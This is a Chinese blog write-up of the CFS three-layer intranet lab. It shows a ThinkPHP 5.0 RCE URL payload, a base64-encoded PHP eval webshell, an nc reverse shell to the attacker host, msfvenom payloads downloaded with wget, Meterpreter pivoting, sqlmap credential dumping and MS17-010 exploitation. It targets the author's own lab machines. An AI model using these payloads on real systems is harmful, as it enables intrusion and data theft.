前言

这个靶机是 TeamsSix前辈 出的一个靶场,偏向于CTF,但是我认为它更适合真实环境!CFS靶场就是三层靶机的内网渗透,通过一层一层的渗透,获取每一层的Flag进行拿分!如果想要获取这个靶场的话,大家可以在我的公众号”saulGoodman“回复”CFS“获取OVA文件下载地址!

环境搭建

打开靶机的时候需要对它 IP 进行简单的更改!我在 VMware 设置了虚拟网络,其中桥接(VMnet0)我设置成和我PC是同一块网卡!(具体选择那块网卡就在网络适配器选项那里选择自己用的网卡)因为你不选择网卡的话 VMware 会自动选择一块网卡,很有可能导致桥接无法上网!

然后我又设置了 VMnet1(仅主机模式)、VMnet2(仅主机模式),这两个个网络是不出外网的,也就是当做我们的内网主机!其中它们的子网地址分别是:

1
2
VMnet1: 子网IP:192.168.22.0	 子网掩码:255.255.255.0
VMnet2:子网IP:192.168.33.0 子网掩码:255.255.255.0

图片

设置好虚拟网络之后我们打开靶机还需要设置一下他们的IP!这里我要编辑一下 Target1IP子网掩码

1
2
ipconfig ens37 192.168.22.11 netmask 255.255.255.0
注释:ens37 是我们的仅主机模式(VMnet1)的网卡

图片

设置完 Target1 我们还需要设置 Target2 的网络:

1
2
ipconfig ens33 192.168.22.22 netmask 255.255.255.0
ipconfig ens38 192.168.33.22 netmask 255.255.255.0

图片

Targert3 就不需要设置了,它已经被设置为 192.168.33.33 这个静态IP了:

图片

设置完之后我们就可以对这个靶机开始渗透了!

攻击拓扑图

图片

外部打点

先对 Targer1 进行信息搜集端口扫描:

1
nmap -A -T5 192.168.1.103 --script=vuln
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
root@liuwx:~# nmap -A -T5 192.168.1.103 --script=vuln
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-18 00:14 EST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Stats: 0:09:24 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.77% done; ETC: 00:24 (0:00:00 remaining)
Nmap scan report for 192.168.1.103
Host is up (0.0012s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Pure-FTPd
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_sslv2-drown:
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| vulners:
| cpe:/a:openbsd:openssh:7.4:
| CVE-2018-15919 5.0 https://vulners.com/cve/CVE-2018-15919
|_ CVE-2017-15906 5.0 https://vulners.com/cve/CVE-2017-15906
80/tcp open http nginx
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-vuln-cve2011-3192:
| VULNERABLE:
| Apache byterange filter DoS
| State: VULNERABLE
| IDs: CVE:CVE-2011-3192 BID:49303
| The Apache web server is vulnerable to a denial of service attack when numerous
| overlapping byte ranges are requested.
| Disclosure date: 2011-08-19
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
| https://www.tenable.com/plugins/nessus/55976
| https://seclists.org/fulldisclosure/2011/Aug/175
|_ https://www.securityfocus.com/bid/49303
111/tcp open rpcbind 2-4 (RPC #100000)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
888/tcp open http nginx
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
3306/tcp open mysql MySQL (unauthorized)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)
8888/tcp open http Ajenti http control panel
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
|_ /robots.txt: Robots file
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_ http://ha.ckers.org/slowloris/
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
MAC Address: 00:0C:29:5A:1C:5E (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 1.16 ms 192.168.1.103

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 566.01 seconds

扫描出来之后发现它开放了 21(ftp)、22(ssh)、80(http)、111(RPC)、888(http)、3306(Mysql)、8888(http)这些端口服务!

其中扫出来了好多漏洞,例如:

CVE-2011-1002(Avahi Dos攻击)Avahi是Linux下常用的类DNS服务。它可以帮助主机在没有DNS服务的局域网中,发现基于Zeroconf协议的设备和服务。该工具工作于UDP 5353端口。在0.6.29版本之前,该服务存在CVE-2011-1002漏洞。Nmap的broadcast-avahi-dos脚本会寻找本地网络的DNS服务器,并发送空的UDP包。如果存在该漏洞,就可以导致服务器奔溃。

CVE-2018-15919(OpenSSH信息泄露漏洞)其中CVE-2018-15919影响自2011年9月6日发布的5.9版本到今年8月24日发布的最新版本7.8。CVE-2018-15473则影响自1999年以来至今年7.7版本中所有版本,远程攻击者可利用漏洞猜测在OpenSSH服务器上注册的用户名。

CVE-2017-15906,7.6之前的OpenSSH中sftp-server.c中的process_open函数不能正确阻止只读模式下的写操作,这使攻击者可以创建零长度文件。

CVE-2011-3192(Apache HTTP Server CVE-2011-3192拒绝服务漏洞)Apache HTTP Server是一款开源的流行的HTTPD服务程序。当处理包含大量Ranges头的HTTP请求时,ByteRange过滤器存在一个错误,攻击者可以向服务器发送特制HTTP请求,消耗大量内存,造成应用程序崩溃。

CVE-2007-6750,Apache HTTP服务器1.x和2.x允许远程攻击者通过部分HTTP请求导致拒绝服务(守护进程中断),如Slowloris所示,这与2.2.15之前版本中缺少mod_ReqTimeout模块有关。

这些扫描出来的漏洞没什么可利用的价值,我们还是先看看它的 web 吧:

1
http://192.168.1.103/

图片

ThinkPHP-V5.0-RCE-Getshell

打开后发现它是 ThinkPHP 框架,版本是 V5.0,这个时候我想起了它存在一个 RCE(远程命令执行),于是我利用网上的 POC 对它进行试探发现存在命令执行:

1
http://192.168.1.103/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

图片

紧接着我写入一句话到 cmd.php

1
http://192.168.1.103/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST['cmd']);?>" > cmd.php

图片

写入成功是成功了,但是我们的 $_POST 被过滤掉了,估计有防护机制:

图片

对于这种过滤,我们可以使用一些编码来绕过,例如 URL编码BASE64编码…等等,我使用的是Base64编码:

1
2
3
编码前:<?php @eval($_POST["cmd"]);?>
编码后:PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=
POC: echo "PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=" | base64 -d > cmd.php

图片

随后重新写入一句话到 cmd.php 获取到 webshell

1
http://192.168.1.103/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4="|base64 -d > cmd.php

图片

图片

这里还有另一种方法!既然它可以执行命令那么我们直接让他反弹shell到我们的nc就可以了:

1
2
KALI:nc -lnvp 6666
目标:nc 192.168.1.104 6666 -e /bin/bash

图片

这个时候成功获取 shell!随后我用python获取一枚 bash

1
python -c 'import pty;pty.spawn("/bin/bash")'

图片

杀入第一层内网Target1

获取到 shell 后在网站的 /www/wwwroot/ThinkPHP/public 目录下获取到了一个 Flag

图片

接着查看 robots.txt 文件得到第二个 Flag:

图片

随后在系统根目录下拿到了第三个 Flag

图片

杀入第二层内网Target2

首先我是先查看了系统内核,发现他是2019年,x86位的:

图片

那么我还是先用 MSF 生成一个可执行文件来反弹一枚shell吧:

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=4444 -f elf > 4444.elf

图片

生成完后我们需要把木马上传到目标主机,我是用 python 打开了 Web 服务:

1
python -m SimpleHTTPServer 8090

图片

然后在目标主机中使用 wget 下载我们的木马:

1
wget http://192.168.1.104:8090/4444.elf

图片

最后给 4444.elf 一个可执行权限并运行成功上线:

1
2
chmod +x 4444.elf
./4444.elf

图片

图片

上线之后我查看 ifconfig 发现他有个网卡:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
meterpreter > ifconfig 

Interface 1
============
Name : lo
Hardware MAC : 00:00:00:00:00:00
MTU : 65536
Flags : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::


Interface 2
============
Name : ens33
Hardware MAC : 00:0c:29:5a:1c:5e
MTU : 1500
Flags : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.1.103
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::1be:3f23:9cb6:8513
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 3
============
Name : ens37
Hardware MAC : 00:0c:29:5a:1c:68
MTU : 1500
Flags : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.22.128
IPv4 Netmask : 255.255.255.0
IPv4 Address : 192.168.22.11
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::28fe:91ab:c417:d360
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 4
============
Name : virbr0
Hardware MAC : 52:54:00:5a:99:42
MTU : 1500
Flags : UP,BROADCAST,MULTICAST


Interface 5
============
Name : virbr0-nic
Hardware MAC : 52:54:00:5a:99:42
MTU : 1500
Flags : BROADCAST,MULTICAST

meterpreter >

其中可用的网卡就是这两个:

图片

紧接着我使用 MSF 中的这个命令获取当前的网段:

1
run get_local_subnets

图片

发现它有两个网段:一个是 192.168.1.10/24,另一个是 192.168.22.0/24!随后我只给后者添加一个路由表(因为前者的内网主机有我内网的主机,就不添加了!):

1
run autoroute -s 192.168.22.0/24

图片

添加成功后我需要对它的内网进行扫描,看看内网中有多少存活的主机!我用到的扫描模块是这个:

1
auxiliary/scanner/portscan/tcp

图片

扫描出来发现 192.168.22.22 这台主机存活,肯定有人会说 192.168.22.11 这台主机不是也存活吗?实际上192.168.22.11这台主机就是我们的WEB服务器!所以说我们就怼192.168.22.22这台主机!

图片

紧接着后渗透我使用了 socks4 代理,用到的模块是这个:

1
auxiliary/server/socks4a

图片

然后我们还需要设置一下 proxychain 代理:

1
vim /etc/proxychains.conf

图片

设置完后我们就可以对它内网进行扫描了!首先是对它进行端口扫描看看它开放了那些端口服务:

1
2
proxychains nmap -Pn -sT 192.168.22.22
注释:(因为socks4不支持ICMP协议,所以我们就不用对它使用ping,所以就使用-Pn 参数,而-sT是使用TCP扫描)

图片

由上图可知,它开放了 21(ftp)、22(ssh)、80(http)、3306(mysql)、8888(sun-answerbook)这些端口服务!先从 80web 服务开始查看:

1
http://192.168.22.22/

图片

BageCMS-SQL注入

打开后发现网站 CMSBageCMS,我还是先对它进行目录扫描吧,看看有什么目录文件:

1
proxychains dirb http://192.168.22.22

图片

扫描得到了一个 robots.txt 文件,打开后发现了他的目录文件、后台地址和 CMS 信息:

1
http://192.168.22.22/robots.txt

图片

图片

尝试了弱口令后没有成功!紧接着我查看了它的主页源码发现了一个提示信息:

1
Hint:SQL注入点:/index.php?r=vul&keyword=1

图片

既然靶场作者都提示说是SQL注入,那么直接上Sqlmap一梭哈获取到了后台账号和密码hash:

1
proxychains sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin -C username,password –dump
1
2
3
4
5
6
7
8
Database: bagecms
Table: bage_admin
[1 entry]
+----------+-------------------------------------------+
| username | password |
+----------+-------------------------------------------+
| admin | 46f94c8de14fb36680850768ff1b7f2a (123qwe) |
+----------+-------------------------------------------+

图片

BageCMS-后台Getshell

拿到后台账号密码登录进去后得到了一个 Flag

1
flag{eS3sd1IKarw}

图片

接下来就要获取webshell了,我是在后台模板这里找到了可以编辑PHP文件的地方:

图片

随后编辑 index.php 写入一句话到里面:

图片

然后再设置一下 Proxifier 的代理规则:

图片

这样就可以使用蚁剑连接webshell了:

图片

紧接着我在 upload 目录找到了 Flag

1
flag{23ASfqwr4t2e}

图片

图片

我们再使用 MSF 生成一个木马让它上线吧,这里我使用的是正向Payload(因为在内网中它无法访问到外网,所以就只能我们去连接它):

1
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=5555 -f elf > 5555.elf

图片

然后打开我们的 MSF (这里需要使用代理打开,不然反弹不回来shell)

1
proxychains msfconsole

图片

图片

杀入第三层内网Target3

反弹回来之后我查看ifconfig发现了两个可用的网卡:

图片

然后获取当前网卡可用的网段:

1
run get_local_subnets

图片

从上图可以看到,他有两个网段,第一个是 192.168.22.0/24,第二个是 192.168.33.0/24,我们重复之前的操作,添加一个路由表到后者:

1
run autoroute -s 192.168.33.0/24

图片

添加成功后我们使用之前那个扫描模块,设置好 PORTSRHOSTS

图片

图片

扫描完后发现发开放了4453389端口,因此判断有可能是 Windows 系统!

为了验证,我使用了这个模块去探测它的操作系统:

1
auxiliary/scanner/smb/smb_version

图片

图片

1
[+] 192.168.33.33:445     - Host is running Windows 7 Ultimate SP1 (build:7601) (name:WIN-POVQ8FCTTO4)

果然是 Windwos 的系统,而且版本是Windows 7 Ultimate SP1!既然它是 Windwos 7 系统,而且开放了 445 端口,有没有可能会存在MS17-010(永恒之蓝)呢?

Windwos7-MS17-010提权拿到Flag

紧接着我使用了MSF的模块对它进行探测看看是否存在永恒之蓝,我使用的辅助模块是这个:

1
auxiliary/scanner/smb/smb_ms17_010

图片

由上图可知,MSF 检测出 192.168.33.33 这台主机存在MS17-010(永恒之蓝)!那么我们就可以对它进行利用,接下来使用这个利用模块:

1
exploit/windows/smb/ms17_010_psexec

图片

注意一下,我们选择 MS17_010 这个利用模块后,我们还需要设置一下 Payload ,因为它默认的是 reverse_tcp(反向),而它主机不能出外网所以就只能使用正向(bind_tcp)我们去连接它!

设置好参数后运行 exploit 获取到一枚 Meterpreter

图片

由上图可知,我们已经是系统权限了!最后就是找到Flag文件:

图片

最终也是在 Administrator 用户的 Desktop 桌面找到了 Flag.txt

微信公众号

公众号:saulGoodman

saulGoodman